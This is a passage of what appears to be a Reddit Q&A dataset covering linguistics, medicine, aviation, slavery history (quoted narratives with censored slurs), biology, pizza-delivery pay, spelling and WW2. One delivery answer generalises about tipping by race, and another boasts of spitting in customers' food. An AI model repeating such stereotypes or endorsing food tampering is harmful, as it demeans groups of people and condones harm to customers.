{"q_id": "a6zwdj", "title": "what is supposed to be wrong in the escher's sentence \"more people have been to russia than i have\" ?", "selftext": "I read about [comparative illusions or \"Escher's sentences\"](_URL_0_) but, as I am not a native speaker in Englsih, I really don't catch what is supposed to be dissonant in the example sentence: \"More people have been to Russia than I have\", even though I really get other typical examples given in my own native language.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6zwdj/eli5_what_is_supposed_to_be_wrong_in_the_eschers/", "answers": {"a_id": ["ebz5uxq", "ebz60w7", "ebz63kb", "ebz9ip7"], "score": [31, 3, 6, 3], "text": ["When your sentence is structured like \"More people... than...\" it implies you are comparing two sets of people, for example \"more people have been to Russia than to the Moon\" means \"Number of people who have been to Russia\"  >  \"number of people who have been to the Moon\".\n\n\"More people have been to Russia than I have\" means \"number of people who have been to Russia\"  >  \"I have been to Russia\", but \"I have been to Russia\" isn't a measurable value, it's simply a true/false statement.", "The issue is you\u2019re not comparing quantities directly. In the sentence, it would be more correct to say \u201cPeople have been to Russia more often than I have\u201d. As it is currently, there\u2019s no direct quantitative measure to compare to between \u201cI\u201d and \u201cmore people.\u201d\n\nMore people is always going to be greater than a single person, so it\u2019s nonsensical without comparing what specific characteristics are involved.\n\nA linguist can probably give a better answer, but hopefully that helps explain some.", "\"More people\" is counting people. However \"then I have\" is counting number of times. These two terms can not be compared. You are saying that \"x amount of people\" are more then \"y number of times\". This does not make sense. You can say \"More people have been to Russia then have been to Mount Everest\" and you can say \"Most people have been to Russia more then I have\" however you can not combine those comparisons. So even though the sentence looks grammatically correct it does not make any sense at all. You can make similar sentences in any language.", "What is the quantity of people *you have* that have been to Russia?  "]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Comparative_illusion"], "answers_urls": [[], [], [], []]}
{"q_id": "bfj6wy", "title": "what does a neurologist do that\u2019s different than a psychiatrist?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bfj6wy/eli5_what_does_a_neurologist_do_thats_different/", "answers": {"a_id": ["ele3muj", "ele3ngz", "ele84k8", "ele9t6x"], "score": [6, 12, 5, 5], "text": ["A neurologist is a doctor of the nervous system. Their field isn't isolated to mental health issues, they also deal with pain, epilepsy, neuromuscular disorders etc. The focus is primarily physical/biological e.g. brain damage caused by a stroke. \n\nA psychiatrist is a doctor of the physical and metaphysical mind. The focus is on emotional/mental health. The focus can be physical but also non-physical e.g. brain imaging to look at damage cause by a stroke to understand mood/personality shifts vs psychotherapy to discuss mood/personality shifts", "They're completely different things. A psychiatrist is a doctor who diagnosis and treats mental disorders. A Neurologist is a doctor who diagnoses and treats disorders, diseases, and injuries of the entire physical neurological system. Essentially, a psychiatrist is a doctor for your mind (although they can diagnose certain conditions in the brain and treat them with medication ), and a neurologist is a doctor for your entire actual physical nervous system.", "Think of it this way: one deals with the hardware of the brain (neurologists) and one deals with software. With some overlap in between", "By the way I actually did google it and was even more confused. You guys have made it more clear. If you don\u2019t know where to look, the internet is a black hole"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5xqkxc", "title": "why has air traffic control not been automated by computers? wouldn't a computer be able to more accurately keep track and maintain all flight paths and altitudes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xqkxc/eli5_why_has_air_traffic_control_not_been/", "answers": {"a_id": ["dek3pb6", "dek3rsi", "dek5phx", "dek6cvv", "dekbx1v", "dekcjwm", "dekfu41"], "score": [7, 19, 2, 3, 2, 24, 3], "text": ["In a way, air traffic control is computerized and automated with alerts, but you always need a human that can think critically in certain situations, like when an aircraft has an emergency situation.", "All aviation-related technology is tightly regulated and goes through an immense amount of testing and consideration before use.\n\nAll of the obstacles we have around self-driving cars-- \"whose fault is it if it crashes\", \"how do we know it's safe enough before letting it on the road\", \"do you still need a licensed driver\", etc-- are 10x more problematic in the sky. It isn't necessarily harder to automate, but is harder to declare \"officially safe enough\". ", "There is a certain amount of automation to air traffic control, however there are situations where a human being is needed to make decisions ", "There is also a requirement for hightly efficient algorithms to do this on large scale, which as of now are not available ", "What happens if it fails?\n\nWhat happens if someone hacks it?\n\nWhat if there is a specific situation that causes it to register the wrong path?", "Air traffic controllers think on the fly more than you would assume. They look at their radar scopes and plan each target to work with others by working their speed, altitude, and path. Computers could probably work out these, but then how would they relay that information to pilots?\n\nAnother thing to think about is the vast number of VFR aircraft who are not on a flight plan going A to B. ATC is able to communicate with them, learn their intentions \"we saw something neat and would like to orbit here for 5 minutes\", and help them see and avoid other aircraft.\n\nThe fact that they are humans who you can talk to is tremendously helpful in emergencies as well. If I'm fighting a sick airplane I might not have the time or focus to find the nearest suitable airport, get weather information and important notices, and plan a descent. A controller watching over me sure can though.", "Main reason: Strange situations happen. While humans can fuck up when confronted by something unexpected, they usually fucks up in a reasonable way. Computers, on the other hand, has no common sense at all, so they can fuck up really, really badly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "2locay", "title": "Did the mandingo/slave fighting depicted in Django Unchained actually happened?", "selftext": "Was this a real thing? Would owners have slaves fight to the death? Were there any laws against slave fighting? Thanks.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2locay/did_the_mandingoslave_fighting_depicted_in_django/", "answers": {"a_id": ["clwnjg2", "clx5scj", "clxeebn"], "score": [412, 55, 2], "text": ["The short answer is it was illegal and would have been terribly unprofitable even if it wasn't.  For a longer answer, consult [this](_URL_0_) topic and [this](_URL_1_) topic where similar questions were asked.", "/u/SomebodyReasonable posted [this](_URL_0_), which links to several accounts from former slaves of slave fights for their masters' amusement. \n\n[John Finnely](_URL_1_?collId=mesn & fileName=162/mesn162.db & recNum=41 & tempFile=./temp/~ammem_suM0 & filecode=mesn & next_filecode=mesn & itemnum=1 & ndocs=100), for example:\n > De n----r fights an more for de white folks' joyment but de slaves am 'lowed to see it. De massas of plantations match dere n----rs 'cording to size and bet on dem. ... Dat fight am held at night by de pine torch light. A ring am made by de folks standin' 'round in de circle. Deye 'lowed to do anything with dey hands and head and teeth. Nothin' barred 'cept de knife and de club. \n\nHe described a fight between one of his master's slaves, Tom, who was undefeated, and a new opponent. It sounds brutal: \n > dat new n----r gits Tom in de stomach with he knee and a lick side de jaw at de same time and down go Tom and de udder n----r jumps on him with both feets, dem straddle him and hits with right, left, right, left, right side Tom's head. Dere Tom lay, makin' no 'sistence. ... Well, dat new n---r 'laxes for to git he wind and den Tom, quick like de flash, flips him off and jump to he feet and befo' dat new n----r could git to he feet, Tom kicks him in de stomach, 'gain and 'gain. Dat n----r's body start to quaver and he massa say, 'Dat 'nough'\n\nWiley Childress (the History Banter site says it was Cecila Chappel, but that seems to be a mistake), another former slave, [relayed](_URL_1_? collId=mesn & fileName=150/mesn150.db & recNum=11 & tempFile=./temp/~ammem_1LLD & filecode=mesn & next_filecode=mesn & prev_filecode=mesn & itemnum=2 & ndocs=100) a story he heard in about men who stopped a runaway slave betting that no other slave could beat him. A slave pitted against him was killed in the fight:\n > De only story dat I member mah people told me 'bout wuz on Fedd, a slave on de next plantation. He wuz a big man en wuz de strongest man neah dat part ob de kuntry. He wouldn' 'low nobody ter whup 'in. De Marster framed 'im by tellin' 'im ter bring his saddle hoss en w'en hu hum wid de hoss several men 'peahrd en tole Fedd dat dey wuz gonna whup 'im. He struck one ob de mans so hahd dey had ter hab de doctuh. De Marster said let 'im 'lone he's too strong ter be whup'd. I'll hab ter shoot 'im. One time Fedd run 'way en de white men whar he stopped know'd he wuz a good fighter en made a $250.00 bet dat nobody could lick 'im. A n----r fum de iron wuks fought Fedd en Fedd won. De iron wuks n----r wuz kikt right dere.\n\nIt seems like arranged fights between slaves did, at least occasionally, happen. I don't think Django Unchained portrays it as something that was common\u2014Candyland is supposed to be an unusually really, really terrible place.\n\nETA: \n[another account](_URL_1_?collId=mesn & fileName=044/mesn044.db & recNum=300 & tempFile=./temp/~ammem_3Oaw & filecode=mesn & next_filecode=mesn & itemnum=1 & ndocs=100), not of fighting, but to help illustrate that slave owners did not always do what made economic sense when it came to their slaves:\n > I will never forget how my marster beat a pore old woman so she couldn't even get up. And 'cause she couldn't get up when he told her to, he hit her in the head with a long piece of iron and broke her skull. Then he made one of the other slaves take her to the jail. She suffered in jail all night, and the jailer heard her moanin' and groanin', so the next mornin' he made marster come and get her. He was so mad 'cause he had to take her out of jail that he had water pumped into her skull just as soon as he got back home. Then he dropped her down in a field and she died 'fore night. That was a sad time. You saw your own folk killed and couldn't say a word 'bout it; if you did you would be beat and sometimes killed too.  \n\n > A man in callin' distance from our place had a whippin' pole. This man was just as mean as he could be. ... A woman on his place had twins and she warn't strong from the beginnin'. The day after the chillun was borned, he told her to go over to his house and scrub it from front to back. She went over to the house and scrubbed two rooms and was so sick she had to lay down on the floor and rest awhile. ... [The master's wife secretly has the sick slave carried back to her home and has another slave finish] ... He got mad and said his wife was cloakin' for the slaves, that there was nothin' wrong with the woman, she was just lazy. He beat his wife, then went out and tied the pore colored woman to a whippin' pole and beat her unmerciful. He left her hangin' on the pole and went to church. When he got back she was dead. He had the slaves take her down and bury her in a box. He said that laziness had killed her and that she warn't worth the box she was buried in. The babies died the next day and he said he was glad of it 'cause they would grow up lazy just like their mother.  \n\n > My marster had a barrel with nails drove in it that he would put you in when he couldn't think of nothin' else mean enough to do. He would put you in this barrel and role it down a hill. When you got out you would ben in a bad fix, but he didn't care. Sometimes he rolled the barrel in the river and drowned his slaves. ", "Just developing the question:   How much does the trope of \"Mandingo fighting\" owe to the popular \"Falconhurst\" series/franchise sex and slavery  novels started by Kyle Onstott with the novel \"Mandingo\" published about 1958.   Black prizefights to the death do appear in the series and I assume that this is where the term comes from.   Was it something that was regularly mentioned before the novels came out?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/15opz3/was_execution_of_slaves_when_they_werent/", "http://www.reddit.com/r/AskHistorians/comments/164hr4/watching_django_werent_slaves_too_expensive_to/"], ["http://www.historybanter.com/did-mandingo-fighting-really-happen/", "http://memory.loc.gov/cgi-bin/ampage", "http://memory.loc.gov/cgi-bin/ampage?collId=mesn&amp;fileName=162/mesn162.db&amp;recNum=41&amp;tempFile=./temp/~ammem_suM0&amp;filecode=mesn&amp;next_filecode=mesn&amp;itemnum=1&amp;ndocs=100", "http://memory.loc.gov/cgi-bin/ampage?collId=mesn&amp;fileName=044/mesn044.db&amp;recNum=300&amp;tempFile=./temp/~ammem_3Oaw&amp;filecode=mesn&amp;next_filecode=mesn&amp;itemnum=1&amp;ndocs=100"], []]}
{"q_id": "3mpqoh", "title": "What is causing the Paramecia in this video to move so aggressively when being consumed by this amoeba?", "selftext": "[Video is available here.](_URL_0_)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3mpqoh/what_is_causing_the_paramecia_in_this_video_to/", "answers": {"a_id": ["cvh1uyw", "cvhp5pr"], "score": [15, 12], "text": ["Digestion. The amoeba is secreting digestive enzymes into the food vacuole, killing the paramecia.", "The amoeba has phagocytosed (eaten) the paramecia. It starts to secrete proteases ( enzymes that breakdown proteins) and peroxides into the vesicle that contains the paramecia. The initial phase of its digestion generate pores on the paramecia;s membranes, this includes its mitochondria membrane and smooth endoplasmic reticulum. ATP from the mitochondria and Calcium from the SR will send the motor components (cilia) of the paramecia into an uninhibited spasm, which I think is what we are seeing."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=pvOz4V699gk&amp;app=desktop"], "answers_urls": [[], []]}
{"q_id": "2olaxw", "title": "do pizza delivery guys have to buy their own gas and do they get paid less than minimum wage (like a waiter) because they get tips?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2olaxw/eli5_do_pizza_delivery_guys_have_to_buy_their_own/", "answers": {"a_id": ["cmo7hxm", "cmo7rqv", "cmo83cn", "cmo87tl", "cmo90oa", "cmob5ti", "cmocivz", "cmod2lm", "cmoddl7", "cmodh1j", "cmodnd9", "cmodnhf", "cmodpgy", "cmoed22", "cmoeqj9", "cmof2df", "cmof496", "cmofhe8", "cmofp6t", "cmofrwq", "cmog4vi", "cmogspz", "cmoy5wo"], "score": [282, 65, 18, 17, 5, 3, 6, 3, 134, 10, 5, 14, 51, 20, 5, 3, 2, 3, 2, 2, 2, 2, 2], "text": ["Usually. For example, my roommate delivered pizzas and made 5.50/hour, plus tips, and 1 dollar for each delivery run.", "Former assistant manager of pizza place here. \n\nOur drivers would \"clock out\" for every run (not literally work off the clock, just the computer system's way of keeping track of what runs they were on). At the end of the night, when closing out the driver, we would enter in a reimbursement amount for each run. This amount would get taken out of what they owed at the end of the night. My boss was more generous and would typically do $1.50-$1.75, and this was on top of tips and a $7/hr rate.", "It depends on the place. I work at a small family owned chain, and at our store, drivers get 8, plus tips. There's a 1.50 delivery charge, but that goes toward boxes, and the company insurance for drivers (This does not cover me, just protects the company. I have my own insurance). As for reimbursement, at least in Texas, we're to keep track of the miles driven, and I enter that when submitting my taxes. I get that money off of what I owe or added to my refund, because it's a \"operating cost\". ", "Drove for Domino's: got paid a little over minimum wage, was not reimbursed for gas, and made shitty tips.", "Used to work for mom and pop shop got paid 6 cash under the table, my own gas.\nsimple arrangement, good job if you know how to have 2000 $ for surprise car repairs.", "I know when I worked for Domino's, I got $5 an hour, plus tips, plus a 10% commission on all deliveries. No reimbursement for nothin'.", "I worked at other delivery places but im currently at dominos. I make $7.40 average $50 a night and get $1.25 per delivery. A couple weeks ago I made $130 off tips", "Used to work for Jimmy Johns. We got $5.50 an hour, a small percentage of the delivery total and we had to pay for our own fuel", "Pizza boy of four years. Became a pizza man there. They handle it differently at different companies. I heard that when Pizza hut drivers make 3.00 or so when on delivery. I on the other hand made 8.25 no matter what, plus tips. As far as I know we all pay for our own gas.", "I worked at three different pizza joints.  They all paid min wage and I got X amount from each place per delivery as well.  One was 1.50 per, one was 1 per, one was .50 per with no advertising or .80 with flag or 1.00 with sign.  But I could still take multiple deliveries at a time and still get paid gas per each delivery.\n\nedit: should add I could keep tips too, I wasn't working at amy's baking co", "Drove for Jimmy John's: Made 8.25/hr plus tips but nothing for gas or the wear on my car because I had to be \"freaky fast\". Way too stressful and they constantly pulled illegal/deceitful shit to make an extra dollar. I will never give another dime to that franchise. ", "why is this on eli5. do you consider this a complicated topic?", "Yes and yes.  I made 5.00 an hour and kept whatever tips I made.  I had to pay for my own gas but I made a decent amount of money because you get to bring home cash every night.  But I didn't get anything out of the \"delivery charge.\" The delivery charge went to the company.  \n\nI made pretty good tips though, because I'm a girl and I guess we're a rare breed. \n\nBest tip?: a man opened his front door, and then went to open his screen door... The screen door literally FELL OFF THE HOUSE AND HIT ME IN THE HEAD.  \ntipped me $15 (;\n\nEDIT: OH and a MILF who opened her door and exclaimed \"OHHHHH! a GIRL pizza delivery driver! Well THIS is for you.\"\nAs she pulls a large wad of singles out of her purse.  \n\nNow, I appreciate money and all, don't get me wrong! But I'm 99% sure that those singles have been in her Ass crack.  \n", "Driver for a big pizza chain here. I get paid $.80/delivery to deliver in a town like five miles wide. I get paid my state's minimum wage of 9.32 an hour and I get to keep 100% of my tips. Since I live in a very suburban, upper middle class town, I get around $4-5 in tips almost every delivery. So after taking 19 deliveries today, I made $114 in tips working from 9:45-6:30. \n\n**TL;DR** Being a delivery drive in an upper middle class town is one of the easiest ways of making money if you have a strong drive. ", "Deliver drivers are fucked.  As a former delivery driver (more than 10 years ago) I received slightly above minimum wage when including tips, but not factoring wear and tear on the car. I was at the low end per hour because I drove a v8 though.\n\nI would on average, get the change from rounding up on a bill.  For example, the pizza was $14.13, I would get an even $15, plus $.75 per delivery from the company (even though they charged the customer $1.00 for the delivery (this charge was implemented a couple months after I started driving).  The vast majority of people are exceptionally cheap to delivery drivers.  I'd say 95% of tips were about 4%-8% of the bill.\n\nYes people answered the door naked, yes girls would hit on you for free food, yes old women would hit on you for free food, yes guys would offer you beer and ask if you wanted to stay and watch the Lakers championship run, yes old people took forever to answer the door.\n\nBlack people were the cheapest.  Men tipped better than women.  White people and old people tipped the best by far. Churches were the worst: 10+ pizzas, and a pat on the back for doing \"God's work\" (no tip).\n\nDelivered for Papa John's.\n\nEdit: added two things.", "I make $1.20 on every delivery from the company, and I make $8.10 an hour regardless if I'm in the store or not. Not a bad gig for a college student if you ask me. I usually get about $12.00/hr in tips on average.", "Marco's Pizza Driver here. I make $7.25/hr plus $1 per delivery plus tips. On a weekday I usually make about $30 in tips alone in a 4 hour shift and about $70 dollars on a Friday or Saturday 4 hour shift", "Every place has a different system. /Generally/ the smaller the business the better money you can make. \n\nI've worked at two small places. One was $5 an hour plus tips plus $1 per delivery for gas. \n\nThe second is near University. $8 an hour, 4% of total sales for gas. I make good money here, normally at least $100 for weekend nights. Somewhere between 1-4 of us on at once, so we stay busy normally. \n\nWe don't do a huge business on campus, so the tips are pretty good. The 4% is awesome for big order, especially for sports teams and such. $300 + order+good-tip= Hell yeah. \n\nThen again monday nights I might take 8 deliveries and barely make gas money for the 6 hour shift. \n\nMy friend works at dominos. These numbers might be a little off... $8.00 in the store, $5.00 on the road. $0.80 cents for the first delivery on a run. $0.70 for the second, none for the third or more. They sometimes have 10 drivers on at once... I honestly don't know how he makes any money. So tip the cheap, chain delivery really well! ", "Used to work for Papa Johns in TN. We made $1 less than minimum wage so we HAD to claim at least $1 cash tip per hour to make up for it. There were $1.90 delivery fees, of which drivers got $1. So you basically got $1/run no matter where the delivery was. If you got stuck with runs at the edge of the delivery area all shift, you'd lose out but if you got all close deliveries then you were making more gas money than what you were using. Sometimes you could make really good money. Other times not so much.", "tl;dr I made about $19/hr after paying for gas\n\nWorked for Papa Johns.  I made minimum wage ($9.32/hr) and I recorded how many hours I worked, how far I drove, and how much I made in tips per shift.  The company pays us $1.50 for each delivery for gas, which is usually more than enough because our delivery range isn't too big, and I included this in daily tips because. \n\nAfter months of recording data, the average was about $11.75 per hour in tips and gas reimbursement.  I drove about 10 miles per hour, with a 21 mpg car, paying about $3.50 for gas, ending up paying about $1.65 per hour.  Then you add in the minimum wage and end up around $19/hr.\n\n", "I work for Pizza Hut currently. I make something like $4.35 an hour when I'm on the road, and $7.25 while in the store. I also get 30 cents for every mile I drive, and I get to keep tips. ", "Delivered for east of Chicago pizza for 3 years. I realize now how lucky I was. 8 dollars an hour plus delivery charge and tips. I paid for my own gas. Delivery charges were $2 up to 3 miles, $3 up to 5 miles, $5 up to 10 miles... and you better be bribing me for alot beyond 10. On a busy Friday, Saturday, or Sunday night I could easily walk into the store at 4 or 5, pick up 5 to 8 deliveries going to a similar area, be gone for an 45 mind to an hour, come back, rinse and repeat 4 to 6 times. Then b I had to do dishes, help close the store counted out my bag and head home. An average tip was 2 to 5 bucks. So I'm getting 30 or more deliveries for one night was pretty common.  I would easily make $100 a night on charges and tips alone, $20 of which might go to gas, plus $8 an hour. So on those nights, I'm making $10 an hour in tips and charges, plus 8 an hour wages. Granted, weds and Thurs were slow and I'd be lucky to make 30 or 40. I worked maybe 35 hours per week on a busy week, and I always had lots of spare money. Plus rarely ever bought food. Sadly the owner sold the store and the new owner re staffed, cut wages, installed security cameras everywhere, and was generally a huge douchebag. RIP that job. ", "I worked for dominoes in the UK. \u00a35.10 an hour (I was 19) plus 90p per delivery. Deliveries could range from 7 miles or just the next street down. On average I was making a profit on the petrol. For every \u00a315 I was given for petrol I was making \u00a35 profit. However you could have a really shitty day and get the long deliveries that are practically outside the delivery zone every single fucking time and actually lose money on a shift through petrol. Pretty sweet job though, sit about, listen to music, away from your bosses and managers, no stress, steal the food made by accident in the shop and eat it in the car and spit in the arsehole customers food because they just gave you abuse down the phone. I enjoyed it :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "67xy2m", "title": "how come meditating and sleeping be different if in both cases the body is relaxed and not moving?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/67xy2m/eli5how_come_meditating_and_sleeping_be_different/", "answers": {"a_id": ["dgu33cl"], "score": [2], "text": ["Because sleeping involves a specific group of states of altered consciousness. Meditation, while sometimes recognized as an altered state of consciousness, does not put the mind in the same state as sleep, even though you are relaxed and not moving. The not moving is voluntary, rather than involuntary as it is in some states of sleep, and the relaxation is voluntary, and not atony. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5oiwz0", "title": "why does the letter \"u\" almost always follow the letter \"q\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5oiwz0/eli5_why_does_the_letter_u_almost_always_follow/", "answers": {"a_id": ["dcjtcda", "dcjtf7l", "dcjtf8l", "dcjuxly", "dcjv52h", "dck6gc0", "dckayi6", "dckljyu", "dckp9v8", "dckpkx1", "dckvnjs"], "score": [119, 505, 163, 77, 30, 6, 2, 13, 2, 2, 2], "text": ["It's a french variation for the same sound produced by the Kw cluster. We just don't see it written that way in english because the german/old norse heritage didn't have that sound. It was a latin character that sounded a bit like a K, such as in the word Plaque, but otherwise wasn't used until the french invasion. \n\nIn theory, Qu could be thought of as it's own letter, since it's really only used in that one way, Kind of like the \u00c6 (Strong I sound) that we don't use anymore. ", "Its called a digraph. Qu makes the /kw/ sound in the English language. You can thank Latin origins and the Greeks for that. There are a lot of words that have Q without a U after it, but they are mostly in Semitic languages.  Qatar, burqa, qabab.  ", "According to Wikipedia, C, K and Q were all used in early Latin to represent the /k/ sound. Eventually, the convention became more standardized, and Q remained only when directly before a /w/ sound, which is represented by U/V in Latin. ", "For any young aspiring scrabble players cursing the Q waiting for a U to pop up, you can play QI and QAT. ", "Q is not part of any multiple-consonant combinations (like 'tr' or 'sh'), so q will appear in front of a vowel. So, when q is paired with the five vowels, we get Qa, Qe, Qi, Qo, and Qu. \n\nThere are no standardized English sounds for Qa, Qe, Qi, or Qo, but if you were to try to pronounce the Q with those vowels, they'd generally sound the same as a hard C or a K. So words with those sounds are generally spelled with a C or a K, not with a Q (cable instead of qable; kept instead of qept, kick instead of qick; cost instead of qost).\n\nThe only unique sound of the five is Qu, which is different from what a Ku (kudos, kudzu) or Cu (cube, cut) combination sounds like. So that unique 'kw' sound is spelled with a Qu.", "Because rather than make \"q\" have a \"kw\" sound, English has \"qu\" make a \"kw\" sound. Latin and Greek origins are to thank. We just decided u looks cool after q so we will always use it. ", "I think actually, the letter 'Q' is almost always followed by the letter 'U'.\n\neg Queue has a q followed by a u, but it also has a u following an e.", "This spelling convention originated from Latin / French (which originated from Greek), and through a series of phonological changes over time, the letter  < q >  only appeared before the letter  < u >  to represent the /k/ sound. Then, behind other vowels, the letter  < u >  in this digraph became silent.\n\nNow, QU as a digraph represents the /k/ sound before certain vowels in French, in particular: que, quelle, quoi (which is \"kwah\" but the \"w\" sound comes from the \"oi\" NOT the \"u\"), or quinze. When English acquired words from French and Latin which utilized this QU digraph, the unfortunate tendency was to pronounce what should have been a silent  < u > . ~~Hence words like \"quadruple\" and \"quotation\" are pronounced /kwadrup\u0259l/ and /kwote\u0283\u0259n/ in English but in French they are /kad\u0280up\u0259l/ and /kotasj\u0254\u0303/.~~\n\nEDIT: Source: I have a BA in Linguistics\n\nEDIT 2: I found by looking at wiktionary that \"quadruple\" is pronounced /kwadrup\u0259l/ rather than /kadrup\u0259l/ and that \"quotation\" doesn't seem to exist in French (though one would think it should), so that's a mistake on my part, but makes this even more interesting because most words with QU in french are pronounced like /k/. I'll have to investigate this!\n\nEDIT 3: There are almost no real French words that start with qua or quo, and if so they are Latin. In that case, because of phonological rules, the \"qu\" is always /kw/ after /a/ or /o/ because /a/ and /o/ are back vowels where as the \"qu\" before /e/ or /i/ is pronounced /k/ because they are front vowels. /ka/ and /ko/ are always written  < ca >  and  < co >  respectively. ", "What English word has a Q in it that doesn't proceed by a U? ", "I heard it's the only 100% true rule of the English language.  That and nothing rhymes with orange.  ", "Except bouquet, Albuquerque, Dubuque, tuque and Chuquisaca. According to [FindWords](_URL_0_) other languages there are alquyruq angakkuq angatkuq armudluq babaghuq inalchuq khvorzuq kunkayuq kuntuyuq llamayuq piranjuq pirwayuq punkuyuq q'irayuq qanyaruq qarquluq quchayuq queyujuq rinriyuq sarayjuq sarvaruq susuzluq t'iyuyuq t'uquyuq t'uruyuq waqrayuq waytayuq yantayuq \n\nThen for unknown reasons, or so far unidentified, or unreasonable, or easy to understand there are applications of \"U\" before \"N\". But then there are the unequitable and unqualified uses where \"U\" comes before \"Q\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["http://findwords.info/ends/uq"]]}
{"q_id": "4lnfgf", "title": "what was the hindu\u2013german conspiracy all about?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lnfgf/eli5_what_was_the_hindugerman_conspiracy_all_about/", "answers": {"a_id": ["d3orp7t"], "score": [7], "text": ["You're probably better off posting this in /r/AskHistorians. But, anyways, the Hindu-German conspiracy was a plan by people in British India to rebel against the British Raj with assistance and support from Imperial Germany and to a lesser extent, the Ottoman Empire. The mutiny of the 5th Light Infantry of the British Indian Army in Singapore led to the British finding out about the plan and thus the plot was foiled. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2m94zr", "title": "what is a \"season pass\" for a game?", "selftext": "Is it just like a bundle of DLC or is it access to all the DLC that will come out for that game ever? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2m94zr/eli5_what_is_a_season_pass_for_a_game/", "answers": {"a_id": ["cm22j34", "cm22xj4"], "score": [4, 3], "text": ["A season pass gets you all the DLC that's going to be available for the game (when each DLC is released). Its a cheaper option than paying for each piece of DLC separately and often comes with other bonuses like character skins, weapons, maps etc.", "It's essentially paying for all DLC at once with a discount.\n\nWhereas they might release 4 pieces of DLC for $15/DLC, you can pre-pay for it all on day one for $50, and it usually comes with some extra stuff like an in-game item.\n\nIt does two things.\n\n1 - It lets them know how much people like the game and the series\n\n2 - It lets them get the money up front to develop stuff."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3nf8jd", "title": "In WW2, Were There Are Any Examples Of Opposing Sides Having Shows Of Mutual Respect?", "selftext": "WW2 is portrayed in modern media and text as exceedingly brutal and the Nazies and Allies despising each other bitterly, but was there ever an event like the Christmas Truce (or other small \"truces\" where the soldiers would mingle) in WW1, or instances when opposing commanders respectfully interacted after a battle (can't remember any particular instances of this, but I know it happened pre-WW2 sometimes, I think I remember reading about a Continental Army commander having dinner with a British general while being help captive after the battle of New York in 1776, I can't remember for sure though)?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3nf8jd/in_ww2_were_there_are_any_examples_of_opposing/", "answers": {"a_id": ["cvnifdc", "cvnlycj", "cvo0emj", "cvo3ww1"], "score": [28, 11, 3, 3], "text": ["The North African Campaign is often termed (originating with Rommel's wife) \"a war without hate\", with frequent stories of mutual respect (recovery of wounded being negotiated, truces during sandstorms), though I would treat this with caution. For example, in Normandy and more or less in common with other theatres in both wars, surrendering wasn't necessarily a guarantee of survival: the intensity of fighting, the circumstances of surrender, and the feelings of the captors often determined whether a surrendered foe might be 'sent to the pen', or deposited in a shell-hole and 'killed by a stray shell'. \n\nMax Hastings describes an instance in *Das Reich* where a 2nd SS Panzer crewman described a lull in a fire fight in the American sector, to recover wounded. The crewman, however, is astonished, as \"were this the Eastern Front, we would have **driven over the wounded**\". ", "I don't know whether this (admittedly overly-quoted) episode fits your criteria, but...\n\n...the Italian troops under the command of Amedeo, Duke of Aosta, were granted the honours of war after their last stand at the (second) battle of the Amba Alagi; an impressive feat during which 7,000 Italians managed to hold some 40,000 Commonwealth troops at bay and for a whole month, from April to May 1941. None other than Mussolini ^**1** himself granted them permission to lay their arms after they'd run out of water, ammunition, and *men*.\n\nSurvivors were thus allowed to capitulate honourably and without a display of surrender. However, unlike perhaps the North African scenario detailed by u/DuxBelisarius, the East African campaign was definitely not without hate; those colonial *ascari* would eventually suffer much abuse and brutality at the hands of the Ethiopian irregulars.\n\n & nbsp;\n\n^**1** & nbsp; This was done not without some controversy - not least because the King, being the Commander-in-Chief of the Royal Armed Forces as well as one of Amedeo's closest relatives, was the one with enough authority to grant such a request. Secondly, by allowing the troops to stand down Mussolini would've effectively spelled the end of both the Empire and the country's colonial ambitions (much to the dismay of some of his propagandists).", " >  WW2 is portrayed in modern media and text as exceedingly brutal and the Nazies and Allies **despising each other bitterly**, but was there ever an **event like the Christmas Truce**\n\nTo add to my answer below, I would caution against taking the modern popular view that the Christmas truce was anything other than exceptional. Believe it or not, soldiers on either side of No Man's Land happened to come from Christian, European traditions, that involved the majority of them celebrating Christmas. Though there were some incidents of fraternization in the **very small** British sector of the Front, most areas saw Christmas celebrated privately or not at all; the French, for example, carried out small attacks along there front.\n\nThe First World War, as I alluded to, saw cases of surrender 'not being accepted'; Tim Cook, a Canadian Historian, has written an excellent article about the 'politics of surrender', and Rob Thompson indicates [in this lecture on Third Ypres] (_URL_1_) that although uncommon, massacres did take place, in this case German POWs at the hands of Australians. Romanian and Russian POWs were in many cases savagely treated by their German captors, with the former being seen as 'traitors'; in the case of the latter, Kaiser Wilhelm suggested after the victory at Tannenberg that the Russian POWs captured there should be left on the island of Rugen to die. German policy towards Romanians seems to have been reflected in Austrian treatment of Italian POWs. Daniel Todman has also described a case of soldiers from a London battalion carrying out a trench raid, deliberately 